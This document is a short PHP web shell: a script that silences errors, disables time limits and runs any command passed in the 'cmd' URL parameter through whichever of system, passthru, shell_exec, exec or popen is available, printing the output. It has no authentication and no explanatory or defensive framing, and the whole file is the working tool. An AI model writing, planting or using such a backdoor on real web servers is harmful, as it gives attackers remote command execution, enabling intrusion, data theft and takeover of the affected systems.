<?php
@error_reporting(0);
@set_time_limit(0);
@ignore_user_abort(1);

if(isset($_GET['cmd'])) {
    echo "<pre>";
    $cmd = $_GET['cmd'];
    if (function_exists('system')) {
        system($cmd);
    } elseif (function_exists('passthru')) {
        passthru($cmd);
    } elseif (function_exists('shell_exec')) {
        echo shell_exec($cmd);
    } elseif (function_exists('exec')) {
        $output = array();
        exec($cmd, $output);
        echo implode("
", $output);
    } elseif (function_exists('popen')) {
        $fp = popen($cmd, 'r');
        while (!feof($fp)) {
            echo fread($fp, 1024);
        }
        pclose($fp);
    } else {
        echo "No command execution functions available.";
    }
    echo "</pre>";
}
?>